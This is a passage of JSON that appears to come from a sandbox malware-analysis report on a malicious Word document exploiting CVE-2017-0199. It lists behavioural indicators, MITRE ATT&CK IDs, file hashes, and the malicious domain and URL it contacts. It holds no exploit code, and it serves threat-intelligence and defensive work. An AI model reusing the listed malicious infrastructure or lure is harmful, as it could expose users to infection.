Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c72db7fb7f0000@ntdll.dll\"\n \"220023000000000018c72db7fb7f0000@ntdll.dll\"","origin":"API Call","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"www.anca-aste.it\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"General","name":"Rename files with double extension (often done by ransomware)","description":"\"WINWORD.EXE\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\CVRE6D3.tmp\" to \"%TEMP%\\CVRE6D3.tmp.cvr\"","origin":"API Call","mitre_attack_id":"T1036.007","relevance":3,"id":"api-163","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops LNK files (Windows shortcut)","description":"\"7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971.LNK\" has type \"MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Mon Mar 6 19:14:38 2023 mtime=Mon Mar 6 19:14:38 2023 atime=Mon Mar 6 19:14:51 2023 length=521660 window=hide\"- Location: [%APPDATA%\\Microsoft\\Office\\Recent\\7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971.LNK]- [targetUID: 00000000-00003892]","origin":"Binary File","relevance":5,"id":"binary-31","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"WINWORD.EXE\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Network Related","name":"Decrypted SSL network traffic","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1573","relevance":3,"id":"string-102","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"5.1.0.0\" found in string \"Microsoft.Windows.Installer.Engine,processorArchitecture=\"*\",type=\"win32\",version=\"5.1.0.0\"C:\\Windows\\System32\\msi.dll\"\n \"192.168.243.226\"\n Potential IP \"5.1.0.0\" found in string \"Microsoft.Windows.Shell.shell32,processorArchitecture=\"*\",type=\"win32\",version=\"5.1.0.0\"C:\\WINDOWS\\WindowsShell.Manifest\"\n Potential IP \"2.1.4.0\" found in string \"2.1.4.0, Mon 03/02/2009 12:32:57.69\"\n Potential IP \"1.1.0.0\" found in string \"\"\n \"1.3.6.1\"\n \"2.5.29.19\"\n \"2.5.29.17\"\n \"2.5.29.14\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.31\"\n \"2.5.29.15\"\n \"2.5.29.32\"\n \"5.7.3.1\"\n \"47.1.1.1\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was make using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"\"HTTPS traffic to 5.196.118.65 on port 443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"YARA signature for RC4 encryption matched on process \"00000000-00003892\"","origin":"YARA Signature","mitre_attack_id":"T1486","relevance":5,"id":"yara-104","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"api-ms-win-base-bootconfig-l1-1-0\" (Indicator: \"bootconfig\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\".skype.com1&0\" (Indicator: \"skype.com\")\n \"community-stage.skype.com1\" (Indicator: \"skype.com\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"\"icrosoft\\Shared Tools\\Outlook\\Journaling\\Micro\" in Source: 00000000-00003892.00000000.75346.03340000.00000004.mdmp\n 00000000-00003892.00000001.77263.03340000.00000004.mdmp\n 00000000-00003892.00000002.79185.03340000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1114","relevance":1,"id":"string-129","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00003892.00000001.77263.0D360000.00000004.mdmp, 00000000-00003892.00000002.79185.0D360000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":10,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971.LNK\" - Location: [%APPDATA%\\Microsoft\\Office\\Recent\\7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971.LNK]- [targetUID: 00000000-00003892]\n Dropped file: \"index.dat\" - Location: [%APPDATA%\\Microsoft\\Office\\Recent\\index.dat]- [targetUID: 00000000-00003892]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"3/90 reputation engines marked \"https://www.anca-aste.it\" as malicious (3% detection rate)\n 3/91 reputation engines marked \"http://www.anca-aste.it\" as malicious (3% detection rate)\n 4/88 reputation engines marked \"https://www.anca-aste.it/uploads/form/boeing_spectrolab_logo.jpg\" as malicious (4% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"suspicious","category":"Network Related","name":"Process binds to unusual ports","description":"Process \"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE\" binds to port 49718\n Process \"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE\" binds to port 49719","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":10,"id":"network-36","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded string that indicates auto-execute behavior","description":"Found keyword \"AutoExec\" which indicates: \"Runs when the Word document is opened\"\n Found keyword \"AutoOpen\" which indicates: \"Runs when the Word document is opened\"\n Found keyword \"AutoExit\" which indicates: \"Runs when the Word document is closed\"\n Found keyword \"AutoClose\" which indicates: \"Runs when the Word document is closed\"\n Found keyword \"AutoNew\" which indicates: \"Runs when a new Word document is created\"","origin":"File/Memory","relevance":10,"id":"string-20","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: msoffice/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match - Generic Stealer","description":"YARA signature Malware.Stealer matched on process \"00000000-00003892\"","origin":"YARA Signature","relevance":10,"id":"yara-8","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]}],"incidents":[{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":147,"imported_dlls_count":174,"dropped_files_count":0,"extracted_files_count":31,"files_written_count":115,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":147,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":149,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":3,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["tag","iframe","redirector","maldoc","labyrinthchollima","targeted","undergroundrat","pterodo","scpt:offrelattachedtemplatehttp"],"sample_flags":["Network Traffic","Extracted Files","User Comment","Sample not shared","Decrypted SSL traffic"],"sandbox_reports":[{"id":"64063ac33ff0d7c5570754e2","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"CVE-2017-0199","contacted_countries":["FRA"],"submit_name":"7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971","analysis_start_time":"2023-03-06T19:11:00+00:00","indicators_count":{"informative":33,"suspicious":5,"malicious":4},"tags":["Network Traffic","Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"5f4545b8780eef7ba25e7a85","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"CVE-2017-0199","contacted_countries":["FRA","USA"],"submit_name":"7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971.docx","analysis_start_time":"2020-08-25T17:09:14+00:00","indicators_count":{"informative":13,"suspicious":2,"malicious":4},"tags":["Network Traffic","Extracted Files","Sample not shared","User Comment","Decrypted SSL traffic"],"is_in_unified_schema":true},{"id":"5f3e538b47faf8081844a258","environment_id":100,"environment_description":"Windows 7 32 bit","state":"ERROR","error_type":"The requested environment ID \"100\" and file type \"docx\" have no available execution environment","verdict":"undetected","submit_name":"7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971.docx","analysis_start_time":"2020-08-20T10:42:19+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"5ed22deca145e316b10f207d","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"CVE-2017-0199","contacted_countries":["FRA","USA"],"submit_name":"boeing_spectrolab.docx-","analysis_start_time":"2020-05-30T09:57:09+00:00","indicators_count":{"informative":15,"suspicious":2,"malicious":6},"tags":["Network Traffic","Extracted Files","User Comment"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"51.68.152.96","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"address":"23.63.75.137","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"address":"23.63.245.17","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"address":"5.196.118.65","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]}],"dns_resolutions":[{"domain":"isrg.trustid.ocsp.identrust.com","address":"23.63.75.137","ttl":27,"country":"United States","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"domain":"ocsp.int-x3.letsencrypt.org","address":"23.63.245.17","ttl":4194,"country":"United States","registrar_name":"eNom, Inc.","registrar_organization":"Internet Security Research Group","registrar_name_servers":"A9-67.AKAM.NET","registrar_creation_date":"2014-07-07T19:54:04+00:00","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"domain":"www.anca-aste.it","address":"51.68.152.96","ttl":3599,"country":"France","registrar_name":"CWNET srl","registrar_name_servers":"ns.thetiscloud1.it ns.thetiscloud2.it","registrar_creation_date":"2006-03-02T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]}],"http_requests":[{"host":"isrg.trustid.ocsp.identrust.com","host_ip":"23.63.75.137:80","url":"/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D","method":"GET","header":"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: isrg.trustid.ocsp.identrust.com","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"host":"ocsp.int-x3.letsencrypt.org","host_ip":"23.63.245.17:80","url":"/MFMwUTBPME0wSzAJBgUrDgMCGgUABBR%2B5mrncpqz%2FPiiIGRsFqEtYHEIXQQUqEpqYwR93brm0Tm3pkVl7%2FOo7KECEgTgJYTvYyBMxd9BNz%2BmfhAeeg%3D%3D","method":"GET","header":"GET /MFMwUTBPME0wSzAJBgUrDgMCGgUABBR%2B5mrncpqz%2FPiiIGRsFqEtYHEIXQQUqEpqYwR93brm0Tm3pkVl7%2FOo7KECEgTgJYTvYyBMxd9BNz%2BmfhAeeg%3D%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.int-x3.letsencrypt.org","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}],"processes":[{"pid":2368,"ppid":0,"name":"WINWORD.EXE","command_line":"/n \"C:\\boeing_spectrolab.docx-.docx\"","sha256":"c0a081e6d5e0279be4503f26f0b01bcedeebf1dfb95fcbe4fb935f881d111da0","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE","uid":"00180204-00002368","icon":"$2d"}],"all_imported_dlls":["dwmapi.dll","imm32.dll","msimg32.dll","shlwapi.dll","KernelBase.dll","IPHLPAPI.DLL","rasadhlp.dll","msxml6r.dll","srvcli.dll","ntlanman.dll","powrprof.dll","OART.DLL","wshqos.dll","davclnt.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","urlmon.dll","sechost.dll","uxtheme.dll","setupapi.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","dhcpcsvc.dll","netprofm.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","user32.dll","secur32.dll","kernel32.dll","gdi32.dll","msadox.dll","cryptbase.dll","dnsapi.dll","MSORES.DLL","mscoree.dll","shell32.dll","wship6.dll","Wldap32.dll","wtsapi32.dll","nsi.dll","tzres.dll","Csi.dll","npmproxy.dll","netapi32.dll","api-ms-win-core-synch-l1-2-0.dll","ws2_32.dll","WSHTCPIP.DLL","api-ms-win-downlevel-user32-l1-1-0.dll","advapi32.dll","msvcrt.dll","ole32.dll","oleaut32.dll","msi.dll","WWINTL.DLL","profapi.dll","netutils.dll","davhlpr.dll","lpk.dll","WWLIB.DLL","RpcRtRemote.dll","hlink.dll","GKWord.dll","ntdll.dll","rpcss.dll","clbcatq.dll","ntmarta.dll","webio.dll","psapi.dll","SensApi.dll","msctf.dll","wintrust.dll","gpapi.dll","dhcpcsvc6.dll","mpr.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","crypt32.dll","oleacc.dll","mscorwks.dll","bcrypt.dll","ncrypt.dll","VxSSL64.dll","mswsock.dll","comctl32.dll","rpcrt4.dll","usp10.dll","msxml6.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","normaliz.dll","msvcr90.dll","GFX.DLL","sspicli.dll","wininet.dll","USP10.DLL","FWPUCLNT.DLL","RICHED20.DLL","sfc.dll","msasn1.dll","MSO.DLL","MSPTLS.DLL","bcryptprimitives.dll","cryptnet.dll","winsta.dll","devobj.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","userenv.dll","sfc_os.dll","winhttp.dll","nlaapi.dll","credssp.dll","wkscli.dll","mscoreei.dll","version.dll","rsaenh.dll","api-ms-win-downlevel-version-l1-1-0.dll","iertutil.dll","OSPPC.DLL","cryptsp.dll","sxs.dll","MSOINTL.DLL","propsys.dll","schannel.dll","drprov.dll","cfgmgr32.dll","winnsi.dll","linkinfo.dll","slc.dll","winmm.dll","GdiPlus.dll","MSGR3EN.DLL","WindowsCodecs.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","msproof7.dll","apphelp.dll","ieframe.dll","cscapi.dll","ntshrui.dll","SHCore.dll","dxgi.dll","policymanager.dll","fltLib.dll","ntasn1.dll","windows.storage.dll","AcGenral.dll","CoreUIComponents.dll","winmmbase.dll","gdi32full.dll","DataExchange.dll","edputil.dll","kernel.appcore.dll","mskeyprotect.dll","ncryptsslp.dll","ShellPreviewHandler3D.dll","win32u.dll","combase.dll","ucrtbase.dll","AcSpecfc.dll","netmsg.dll","d3d11.dll","TextInputFramework.dll","msvcp110_win.dll","dpapi.dll","winnlsres.dll","msvcp_win.dll","CoreMessaging.dll","ExplorerFrame.dll","aepic.dll","WinTypes.dll","cldapi.dll","msIso.dll","dcomp.dll","ninput.dll","srpapi.dll","twinapi.appcore.dll","coml2.dll","rmclient.dll","MSCONV97.DLL","OnDemandConnRouteHelper.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"~_eing_spectrolab.docx-.docx","sha256":"3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"FSF-CTBL.FSF","sha256":"259be6ac1e3800c8770d47db319f1cd445d21410463c3fc68270576ed00f84df","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"FSD-CNRY.FSD","sha256":"fbb9917d35f798c3e1867b465abf979f916978da25014c791e335061a7103065","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"39D459DDDB99C3DF692AE55AF536FBF9","sha256":"9c985ba42789969ce8dace9f86411c5097661fb56be9dcef20c02a6aa015916d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sha256":"c15bcd8816402a1a4dba941ae329a2a63b77a06e26d3f95ec7c8587b6ee31e80","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08","sha256":"f9c09e24bd256fc300b86fa4a0ce870a20b2a1f7b3ae142038927dd1223b8d2e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"~WRS_6B41B612-EA89-417F-B055-28C7A5E0316C_.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"_B163D532-A94F-4B73-B9F6-F036CA11E6BA_","sha256":"0828d40ccead22f25053285ed1c504f5eb4d16b33527bc71584858e038b0bcf1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"FSF-_0E1EEE64-E8C6-4E2A-9759-63CF07FD8988_.FSF","sha256":"a5cbf23e9725500424251937388980b9c17ae6fe97d43d88c8c4efd3baf7ca5a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"FSD-_C9B38DFC-531D-4EF3-B20D-97C782E92F3D_.FSD","sha256":"4c6a36107371c0b994d5e0a42d05fbbd48e8b1a85422de163a663bf079ae528c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"FSD-_D9EEAC33-AD2E-4351-97C7-F0072D7ADB40_.FSD","sha256":"88c9e074926a95030fac0f8b9bfe838547851c629229c36aa15567e01b3848d7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"_32FB4CA6-BDAB-49C1-A9DE-CA4BB6A9AF59_","sha256":"56fd91c2e49d9f57c23d0230d2fa3a3a4ff71d484901c0ceb06bef1c7522441c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"~_Normal.dotm","sha256":"3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"~_33716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971.docx","sha256":"a101d3605f8d1ca5cfb10c48dbdb24c45f2627c48f44a2bd2604b88c7b90d5f0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971.LNK","sha256":"a8a47a72c2f74591c287deb907f8ab1ed5434b1528761336a39076e5856003fc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"index.dat","sha256":"edca0b3923d5585894b3d95692797a631ddb3bf3f399b105a345efc050ec989a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"5350218A.jpg","sha256":"c3cba2e42754d2f475cec606aebf5fc9c03a596ce8d330c1565d457cc92c4422","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"EF8498973015681E03A6B60C530C8A09","sha256":"4b7f3788da3ff5fff16f89ce7ed366c1a65b9650288978255b1f3af0838cb69e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"_CCFDA236-3163-4624-9CE1-0ADB15FD5366_","sha256":"145955b3ddd03add252e6c10d9901ceb50ef7d9a03c8408ce50259fa82b84053","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"~WRS_ACEE9282-74AD-457D-AD61-9FE2A148DCFB_.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"FSD-_1BF898D5-151F-4136-BD3E-FD69DD7B1958_.FSD","sha256":"b01b8b76fb0d74ac6583afa9e1df475463e822a7d42a55460a3fb1abf68d5bd4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"FSD-_894284D8-1489-4260-BC2F-6EE9B76A2549_.FSD","sha256":"d2a4bb7a01e0ac1c05ac0b252da3bcc13e42714e7ed02550485cad9225d2d5d9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"~WRS_907AFDD0-9CB7-469C-B583-9DC7ACC3F998_.tmp","sha256":"674f1704390757a6a35d2e7e3f97d89663070b6f7f7b77e8f9e6892ad4470f15","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"_595F0DE2-2BF1-482F-B68F-02890ECB3C64_","sha256":"19dcaeb07168c7f12f2a6018b1431dce339ff96b392626b7cc2876b09f6ba46d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"~_33716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971.doc","sha256":"2820507593b307075160abd5158557826ee851a7792cb937cbac4998a1043c05","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"57EEF197.jpg","sha256":"c3cba2e42754d2f475cec606aebf5fc9c03a596ce8d330c1565d457cc92c4422","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"~WRD0001.tmp","sha256":"ede903e986b80b5ac827a72fa54f3f89b390ba4e5ab2c45183ad50ccb3f196cd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"~WRS_839BF041-A744-4BC7-8343-2FAE3E7A4D0B_.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"FSD-_85EDC7CE-2F82-4B44-909B-BA958FA06901_.FSD","sha256":"5638859c68ea447c82bb2605d450530e69fb9003c141423925cc545981943aa3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"~WRS_0E195A41-BF26-4371-A79A-5D98710BC805_.tmp","sha256":"674f1704390757a6a35d2e7e3f97d89663070b6f7f7b77e8f9e6892ad4470f15","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"_4747D589-A9E0-42F1-8E5C-E292B68FDFF6_","sha256":"1d881ac77435b071395129eae2f3748de1323aa81fdaa075603242ea084100ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]}],"files_written":[{"path":"%TEMP%\\CVRFD20.tmp","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.